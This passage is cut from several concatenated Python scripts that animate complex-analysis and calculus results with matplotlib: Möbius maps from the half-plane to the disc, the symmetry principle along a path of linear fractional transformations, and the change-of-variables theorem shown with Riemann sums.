        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Half-plane to disc with $2i\mapsto0$: $\frac{2i-z}{2i+z}$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 34.10, p. 180 (ch34:294)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: mob(mpow([[-1, 2j], [1, 2j]], s), z)
R = 10.0                      # curves are cut beyond this radius
LIMITS = (-2.2, 2.2, -2.2, 2.2)
SUB = 'the upper half-plane onto the unit disc with $2i\\mapsto0$ and $0\\mapsto1$'
TITLE = '$w=M^{s}(z),\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-3, 3, 0, 3, 6, 3)
HILITE = [8, 15]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""Theorem 34.12 (symmetry principle), animated along a path of LFTs.
Top (fixed): the unit circle C, z = a and its symmetric point z* = 1/conj(a) (Definition 34.11), the pencil of
circles through z and z*, and the points z1, z2, z3 = i, -1, -i of C used in the cross ratio of the proof.
Bottom: the images under T_s, a path of LFTs from the identity to w -> i(1+w)/(1-w) (inverse of (34.11)),
then on to phi_a (34.9), then back. T z and T z* stay symmetric in T(C); the readouts are computed.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


a = 0.35 + 0.45j; A = 1 / np.conj(a); ZK = np.array([1j, -1, -1j])
nrm = lambda M: M / np.sqrt(np.linalg.det(M))
M1 = nrm(np.array([[1j, 1j], [-1, 1]])); M2 = nrm(np.array([[1, -a], [-np.conj(a), 1]]))


def mpow(M, s):   # M^s along the one-parameter group through M (principal logarithm of the eigenvalues)
    l, V = np.linalg.eig(M)
    return V @ np.diag(np.exp(s * np.log(l))) @ np.linalg.inv(V)


def T(M, z):
    z = np.asarray(z, complex); d = M[1, 0] * z + M[1, 1]
    with np.errstate(all="ignore"):
        return np.where(abs(d) < 1e-13, np.inf, (M[0, 0] * z + M[0, 1]) / np.where(abs(d) < 1e-13, 1, d))


Q = M2 @ np.linalg.inv(M1)
SCHED = [("id", 0, np.eye(2))] * 22
SCHED += [("p1", ease(i / 63), mpow(M1, ease(i / 63))) for i in range(64)] + [("h1", 1, M1)] * 24
SCHED += [("p2", ease(i / 63), mpow(Q, ease(i / 63)) @ M1) for i in range(64)] + [("h2", 1, M2)] * 28
SCHED += [("p3", ease(i / 43), mpow(M2, 1 - ease(i / 43))) for i in range(44)] + [("id", 0, np.eye(2))] * 6
assert np.allclose(SCHED[109][2], M1) and np.allclose(mpow(Q, 1) @ M1, M2)

# the pencil of circles through a and A (all orthogonal to C), and the line through them (it passes through 0)
m = (a + A) / 2; n = 1j * (A - a) / abs(A - a); U = np.exp(1j * np.linspace(0, 2 * np.pi, 361))
PEN = [m + t * n + abs(m + t * n - a) * U for t in (-2.2, -0.8, -0.3, 0.3, 0.8, 2.2)]
PEN.append(a + (A - a) * (0.5 + np.tan(np.linspace(-1.565, 1.565, 361))))
q0 = m + 0.8 * n; R0 = abs(q0 - a)      # the marked crossing: this pencil circle meets C at e^{i f0}
f0 = np.angle(q0) + np.arccos(1 / abs(q0)); Z0 = np.exp(1j * f0); g0 = np.angle(Z0 - q0)
assert abs(abs(q0) ** 2 - R0 ** 2 - 1) < 1e-12        # orthogonal to C


def circ(p):    # the circle (centre, radius) or line (None, direction) through three points
    z1, z2, z3 = p; w = (z3 - z1) / (z2 - z1)
    if abs(w.imag) > 1e-9 * abs(w):
        c = z1 + (z2 - z1) * (w - abs(w) ** 2) / (w - np.conj(w))
        if abs(z1 - c) < 1e6:
            return c, abs(z1 - c)
    return None, (z2 - z1) / abs(z2 - z1)


def refl(w, p, c, r):    # the point symmetric to w in the circle/line through p (Definition 34.11)
    if c is None:
        return p[0] + r * r * np.conj(w - p[0])
    return np.inf if abs(w - c) < 1e-12 else c + r * r / np.conj(w - c)


def cr(z, z1, z2, z3):   # cross ratio (34.8), with the convention for z = infinity
    return (z2 - z3) / (z2 - z1) if np.isinf(z) else (z - z1) * (z2 - z3) / ((z - z3) * (z2 - z1))


def curve(M, z):
    w = T(M, z); w[abs(w) > 80] = np.nan; j = np.nonzero(abs(np.diff(w)) > 6)[0]; w[j] = np.nan
    return w


fig = plt.figure(figsize=(7.4, 11))
title = fig.text(0.5, 0.948, "", ha="center", va="center", fontsize=13.5)
sub = fig.text(0.5, 0.917, "", ha="center", va="center", fontsize=12, color="0.3")
axs = fig.add_axes([0.03, 0.64, 0.94, 0.25]); axw = fig.add_axes([0.03, 0.02, 0.94, 0.463])
for ax, L in ((axs, (-2.9, 3.6, -1.35, 1.95)), (axw, (-4.6, 3.1, -2.9, 3.1))):
    ax.set_aspect("equal"); ax.set_xlim(L[:2]); ax.set_ylim(L[2:]); ax.set_xticks([]); ax.set_yticks([])
    ax.axhline(0, color="0.88", lw=0.8); ax.axvline(0, color="0.88", lw=0.8)
axs.set_title("the source: fixed", fontsize=10.5, loc="left", pad=2)
axw.set_title(r"the image under $T_s$", fontsize=10.5, loc="left", pad=2)


def draw(ax, M, big):
    for z in PEN:
        w = curve(M, z); live.extend(ax.plot(w.real, w.imag, color="tab:purple", lw=0.9, alpha=0.55))
    w = curve(M, U); live.extend(ax.plot(w.real, w.imag, color=CCOL, lw=2.6))
    p = T(M, ZK); live.append(ax.scatter(p.real, p.imag, s=18, color="k", zorder=6))
    for j in range(3):
        live.append(ax.text(p[j].real + 0.08, p[j].imag + 0.08, "$%sz_%d$" % ("T" if big else "", j + 1), fontsize=10))
    x0, x1 = ax.get_xlim(); y0, y1 = ax.get_ylim(); c = complex((x0 + x1) / 2, (y0 + y1) / 2)
    for z, col, lab in ((a, "tab:blue", "z"), (A, PCOL, "z^{*}")):
        w = complex(T(M, z)); lab = "$T%s$" % lab if big else "$%s$" % lab
        if x0 < w.real < x1 and y0 < w.imag < y1:
            live.append(ax.scatter([w.real], [w.imag], s=60, color=col, zorder=8, edgecolor="w"))
            live.append(ax.text(w.real + 0.12, w.imag - 0.05, lab, color=col, fontsize=13, va="top"))
        else:      # off the frame: an arrow at the edge, pointing at it
            d = (w - c) / abs(w - c) if np.isfinite(w) else (T(M, A + 1e-9) - c) / abs(T(M, A + 1e-9) - c)
            s = min((x1 - 0.25 - c.real) / d.real if d.real > 0 else (x0 + 0.25 - c.real) / d.real,
                    (y1 - 0.25 - c.imag) / d.imag if d.imag > 0 else (y0 + 0.25 - c.imag) / d.imag)
            e = c + s * d; b = e - 0.55 * d
            live.append(ax.annotate("", xy=(e.real, e.imag), xytext=(b.real, b.imag),
                                    arrowprops=dict(arrowstyle="-|>", color=col, lw=2, mutation_scale=16)))
            live.append(ax.text(b.real - 0.1 * d.real, b.imag - 0.1 * d.imag + 0.1, lab + (r" $=\infty$" if not np.isfinite(w) else
                                r"  $(|Tz^*|=%.1f)$" % abs(w)), color=col, fontsize=12, ha="center", va="bottom" if d.imag < 0 else "top"))
    w0 = complex(T(M, Z0)); live.append(ax.scatter([w0.real], [w0.imag], marker="s", s=30, color="k", zorder=7))


draw(axs, np.eye(2), False)
axs.text(-0.62, -1.05, "$C$", color=CCOL, fontsize=13)
axs.text(-2.8, 1.8, "pencil of circles\nthrough $z$ and $z^*$", color="tab:purple", fontsize=10, va="top")
live.clear()
LB = [(0.03, 0.605, r"$T(C)$:"), (0.03, 0.578, r"$(Tz^*,Tz_1,Tz_2,Tz_3)=$"), (0.03, 0.551, r"$\overline{(Tz,Tz_1,Tz_2,Tz_3)}=$"),
      (0.03, 0.524, r"$|\,Tz^*-$(the point symmetric to $Tz$ in $T(C))\,|=$")]
for x, y, s in LB:
    fig.text(x, y, s, fontsize=11.5, va="center")
V = [fig.text(x, y, "", fontsize=11.5, va="center") for x, y in ((0.14, 0.605), (0.4, 0.578), (0.4, 0.551), (0.6, 0.524), (0.66, 0.578))]


def frame(k):
    clear()
    ph, s, M = SCHED[k]
    draw(axw, M, True)
    p = T(M, ZK); assert np.isfinite(p).all()
    c, r = circ(p); w, ws = complex(T(M, a)), complex(T(M, A))
    f = lambda x: round(x, 3) + 0.0
    V[0].set_text("a line (s = %.3f)" % s if c is None else "a circle, centre %.3f%+.3fi, radius %.3f   (s = %.3f)" % (f(c.real), f(c.imag), r, s))
    x1, x2 = cr(ws, *p), np.conj(cr(w, *p))
    V[1].set_text("%.4f%+.4fi" % (x1.real, x1.imag)); V[2].set_text("%.4f%+.4fi" % (x2.real, x2.imag))
    ss = refl(w, p, c, r)
    V[3].set_text("0  (both are ∞)" if np.isinf(ws) and np.isinf(ss) else "%.6f" % abs(ws - ss))
    h = 1e-6; e1 = complex(T(M, Z0 * np.exp(1j * h)) - T(M, Z0)); e2 = complex(T(M, q0 + R0 * np.exp(1j * (g0 + h))) - T(M, Z0))
    ang = np.degrees(abs(np.angle(e1 / e2))); V[4].set_text("angle at ■: %.2f°" % min(ang, 180 - ang))
    t = {"id": (r"Definition 34.11: $z^*=1/\bar z$ is symmetric to $z$ in $C=\{|z|=1\}$",
                r"same ray from $0$, $|z|\,|z^*|=1$; every circle through $z,z^*$ meets $C$ at right angles"),
         "p1": (r"Theorem 34.12: apply a path of LFTs $T_s$, $0\leq s\leq1$",
                r"from the identity to $w\mapsto i\frac{1+w}{1-w}$, the inverse of the Cayley map (34.11)"),
         "h1": (r"$T(C)$ is the real axis: $Tz$ and $Tz^*$ are mirror images",
                r"symmetry in a line is reflection; the pencil still meets $T(C)$ at right angles"),
         "p2": (r"Continue the path to $\varphi_a(w)=\frac{w-a}{1-\bar aw}$ (34.9), $a=z$",
                r"at every stage $Tz^*$ is the point symmetric to $Tz$ in the circle $T(C)$"),
         "h2": (r"$\varphi_a(C)=C$ and $\varphi_a(z)=0$, so $\varphi_a(z^*)=\infty$",
                r"$0$ and $\infty$ are symmetric in $C$: this forces the pole of $\varphi_a$ to be $1/\bar a$"),
         "p3": (r"Back to the identity along the same one-parameter group",
                r"the cross ratios do not change along the path (invariance, Definition 34.6)")}[ph]
    title.set_text(t[0]); sub.set_text(t[1])


if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=65)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(120)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Change of variables (Theorem A.9), version 1: one cell and its tangent parallelogram, then the Riemann sum
of |det DPhi| h^2 over finer and finer grids converges to area(Phi(Omega)) (computed by the shoelace formula).
PyFig: defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection, LineCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, C1, C2 = "#1f6f78", "#c96a00", "tab:blue", "tab:purple"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []
GX, GW = np.polynomial.legendre.leggauss(40)


def clear():
    while live:
        live.pop().remove()


def st(t, s):
    if t.get_text() != s:
        t.set_text(s)


def n4(x):
    return "%.4f" % (round(x, 4) + 0.0)


def PHI(x, y):  # the C^1 map of the three versions
    return x + 0.3 * y * y, y + 0.3 * x * y + 0.1 * x * x


def jac(F, x, y, d=1e-5):  # (u_x, u_y, v_x, v_y) by central differences
    (a, b), (c, e) = F(x + d, y), F(x - d, y)
    (p, q), (r, s) = F(x, y + d), F(x, y - d)
    return (a - c) / (2 * d), (p - r) / (2 * d), (b - e) / (2 * d), (q - s) / (2 * d)


def jdet(F, x, y):
    ux, uy, vx, vy = jac(F, x, y)
    return ux * vy - uy * vx


def rect(x0, x1, y0, y1, m):  # boundary of a rectangle, counterclockwise, m points per side
    t = np.linspace(0, 1, m, endpoint=False); o = 0 * t
    return (np.r_[x0 + (x1 - x0) * t, x1 + o, x1 - (x1 - x0) * t, x0 + o],
            np.r_[y0 + o, y0 + (y1 - y0) * t, y1 + o, y1 - (y1 - y0) * t])


def shoe(X, Y):  # shoelace formula
    return 0.5 * abs(np.dot(X, np.roll(Y, -1)) - np.dot(Y, np.roll(X, -1)))


def quad2(g, x0, x1, y0, y1):  # 40 x 40 Gauss-Legendre
    hx, hy = (x1 - x0) / 2, (y1 - y0) / 2
    X, Y = np.meshgrid(hx * GX + x0 + hx, hy * GX + y0 + hy)
    return hx * hy * (np.outer(GW, GW) * g(X, Y)).sum()


def grid(F, x0, x1, y0, y1, nx, ny, m=40, fr=1.0):  # images of the grid lines
    t = np.linspace(0, fr, m); o = 0 * t
    return ([np.column_stack(F(x + o, y0 + (y1 - y0) * t)) for x in np.linspace(x0, x1, nx + 1)]
            + [np.column_stack(F(x0 + (x1 - x0) * t, y + o)) for y in np.linspace(y0, y1, ny + 1)])


ID = lambda x, y: (x, y)


def lc(ax, segs, **kw):
    live.append(ax.add_collection(LineCollection(segs, **kw)))


def pc(ax, polys, **kw):
    live.append(ax.add_collection(PolyCollection(polys, **kw)))


def arrow(ax, p, q, col, ms=14, lw=1.8):
    live.append(ax.annotate("", xy=q, xytext=p, arrowprops=dict(arrowstyle="-|>", color=col, lw=lw,
                                                                 mutation_scale=ms, shrinkA=0, shrinkB=0)))


def text(ax, x, y, s, **kw):
    live.append(ax.text(x, y, s, **kw))


def heads(fig):
    return (fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5),
            fig.text(0.5, 0.941, "", ha="center", va="center", fontsize=12, color="0.3"))


def panel(fig, box, xl, yl, sb=None):  # sb: left end of a scale bar of length 1
    ax = fig.add_axes(box); ax.set_aspect("equal"); ax.set_xlim(*xl); ax.set_ylim(*yl)
    ax.set_xticks([]); ax.set_yticks([])
    if sb:
        ax.plot([sb[0], sb[0] + 1], [sb[1]] * 2, color="0.4", lw=2, solid_capstyle="butt")
        ax.text(sb[0] + 0.5, sb[1] + 0.04, "length 1", ha="center", va="bottom", fontsize=9, color="0.4")
    for s in ax.spines.values():
        s.set_color("0.8")
    return ax


def table(fig, y0, rows=3, dx=0.29):
    return [(fig.text((0.04, 0.52)[i // rows], y0 - 0.029 * (i % rows), "", va="center"),
             fig.text((0.04, 0.52)[i // rows] + dx, y0 - 0.029 * (i % rows), "", va="center"))
            for i in range(2 * rows)]


def fill(T, pairs):
    for (a, b), (l, v) in zip(T, list(pairs) + [("", "")] * len(T)):
        st(a, l); st(b, "= " + v if v else "")

A = (1.5, 0.6); DA = jac(PHI, *A); DETA = DA[0] * DA[3] - DA[1] * DA[2]
AREA = shoe(*PHI(*rect(0, 3, 0, 1.5, 1500))); QUAD = quad2(lambda x, y: abs(jdet(PHI, x, y)), 0, 3, 0, 1.5)
NS = (2, 4, 8, 16, 32)
RS = {}
for n in NS:
    h = 3 / n; x, y = [v.ravel() for v in np.meshgrid(np.arange(n) * h, np.arange(n // 2) * h)]
    RS[n] = (x, y, h, (np.abs(jdet(PHI, x, y)) * h * h).sum())
S = [("map", 0.6, 8, ease(i / 17)) for i in range(18)] + [("map", 0.6, 8, 1)] * 8 + [("cell", 0.6, 8, 1)] * 20
S += [("shrink", 0.6 * (0.02 / 0.6) ** (i / 69), 8, 1) for i in range(70)] + [("shrink", 0.02, 8, 1)] * 14
for n in NS:
    S += [("refine", 3 / n, n, 1)] * 26
SCHED = S + [("end", 3 / 32, 32, 1)] * 24
fig = plt.figure(figsize=(8.4, 11)); title, sub = heads(fig)
axd = panel(fig, [0.25, 0.735, 0.5, 0.175], (-0.3, 4.1), (-0.25, 1.77), (3.05, -0.15))
axi = panel(fig, [0.25, 0.355, 0.5, 0.365], (-0.3, 4.1), (-0.25, 3.95), (2.9, 0.1))
Bx, By = rect(0, 3, 0, 1.5, 200)
axd.fill(Bx, By, color=CCOL, alpha=0.07); axd.plot(np.r_[Bx, 0], np.r_[By, 0], color=CCOL, lw=2)
U, V = PHI(Bx, By); axi.fill(U, V, color=CCOL, alpha=0.07); axi.plot(np.r_[U, U[0]], np.r_[V, V[0]], color=CCOL, lw=2)
axd.text(3.15, 1.3, r"$\Omega$", color=CCOL, fontsize=16); axi.text(0.6, 2.6, r"$\Phi(\Omega)$", color=CCOL, fontsize=16)
fig.text(0.2, 0.727, r"$\Phi$" + "\n" + r"$\downarrow$", fontsize=16, ha="center", va="center")
T = table(fig, 0.322, dx=0.27)
axz = panel(fig, [0.06, 0.035, 0.88, 0.215], (-0.8, 7.2), (-0.35, 2.45)); axz.axis("off")
axg = fig.add_axes([0.13, 0.055, 0.8, 0.19]); axg.set_xscale("log"); axg.set_xlim(1.4, 700); axg.minorticks_off()
axg.set_xticks([2, 8, 32, 128, 512]); axg.set_xticklabels(["2", "8", "32", "128", "512"]); axg.tick_params(labelsize=10)
axg.set_xlabel("number of cells", labelpad=1); axg.set_ylim(5.2, 5.66); axg.axhline(AREA, color=CCOL, ls="--", lw=1.2)
axg.text(600, AREA - 0.035, r"area $\Phi(\Omega)$ by the shoelace formula", color=CCOL, ha="right", fontsize=11)
hg, = axg.plot([], [], "o-", color="k", lw=1.5, ms=5, label=r"$\sum|\det D\Phi(x_{ij})|\,h^{2}$"); axg.legend(loc="upper right", fontsize=11)
axg.set_visible(False)
TT = {"map": (r"Change of variables (Theorem A.9): $\Phi$ carries $\Omega$ onto $\Phi(\Omega)$",
              r"$\Phi(x,y)=(x+0.3y^{2},\ y+0.3xy+0.1x^{2})$ on $\Omega=[0,3]\times[0,1.5]$; straight grid lines go to curves"),
      "cell": (r"One cell $Q_{h}=a+[0,h]^{2}$: its image is nearly a parallelogram",
               r"$\Phi(a+\mathbf{h})=\Phi(a)+D\Phi(a)\mathbf{h}+o(|\mathbf{h}|)$ (A.4): the sides $D\Phi(a)(h,0)$, $D\Phi(a)(0,h)$"),
      "shrink": (r"Shrink the cell: area $\Phi(Q_{h})\ /\ |\det D\Phi(a)|\,h^{2}\ \to\ 1$",
                 r"the parallelogram has area $|\det D\Phi(a)|\,h^{2}$; the curved cell differs from it by $o(h^{2})$"),
      "refine": (r"Add up the cells: $\sum_{ij}|\det D\Phi(x_{ij})|\,h^{2}\ \to\ $ area $\Phi(\Omega)$",
                 r"$x_{ij}$ = lower-left corner of each cell; its parallelogram (teal) sits at $\Phi(x_{ij})$"),
      "end": (r"area $\Phi(\Omega)=\int_{\Omega}|\det D\Phi(\mathbf{x})|\,d\mathbf{x}$   (Theorem A.9 with $g\equiv1$)",
              r"shoelace formula on $\Phi(\partial\Omega)$: %s;   Gauss quadrature of $|\det D\Phi|$ on $\Omega$: %s" % (n4(AREA), n4(QUAD)))}
part = [None]


def frame(k):
    clear(); ph, h, n, t = SCHED[k]; ref = ph in ("refine", "end")
    st(title, TT[ph][0]); st(sub, TT[ph][1])
    if part[0] != ref:
        part[0] = ref; axz.set_visible(not ref); axg.set_visible(ref)
    ny = max(n // 2, 1)
    lc(axd, grid(ID, 0, 3, 0, 1.5, n, ny, 2, t), colors="0.55", lw=0.8)
    lc(axi, grid(PHI, 0, 3, 0, 1.5, n, ny, 40, t), colors="0.55", lw=0.8)
    if ref:
        x, y, h, R = RS[n]; ux, uy, vx, vy = jac(PHI, x, y); P = np.array(PHI(x, y)).T
        q = np.array([[0, 0], [h, 0], [h, h], [0, h]])
        pc(axi, [p + np.c_[a * q[:, 0] + b * q[:, 1], c * q[:, 0] + d * q[:, 1]] for p, a, b, c, d in zip(P, ux, uy, vx, vy)],
           facecolors=CCOL, alpha=0.35, edgecolors=CCOL, linewidths=0.6)
        if n <= 16:
            live.append(axd.scatter(x, y, s=8, color="k", zorder=5)); live.append(axi.scatter(*P.T, s=8, color="k", zorder=5))
        m = [v for v in NS if v <= n]; hg.set_data([v * v // 2 for v in m], [RS[v][3] for v in m])
        fill(T, [("cells", "%d × %d = %d" % (n, ny, n * ny)), ("$h$", "%g" % h), (r"$\sum|\det D\Phi(x_{ij})|\,h^{2}$", n4(R)),
                 (r"area $\Phi(\Omega)$, shoelace", n4(AREA)), ("difference", n4(R - AREA)), (r"$\int_{\Omega}|\det D\Phi|$, quadrature", n4(QUAD))])
        return
    if ph == "map":
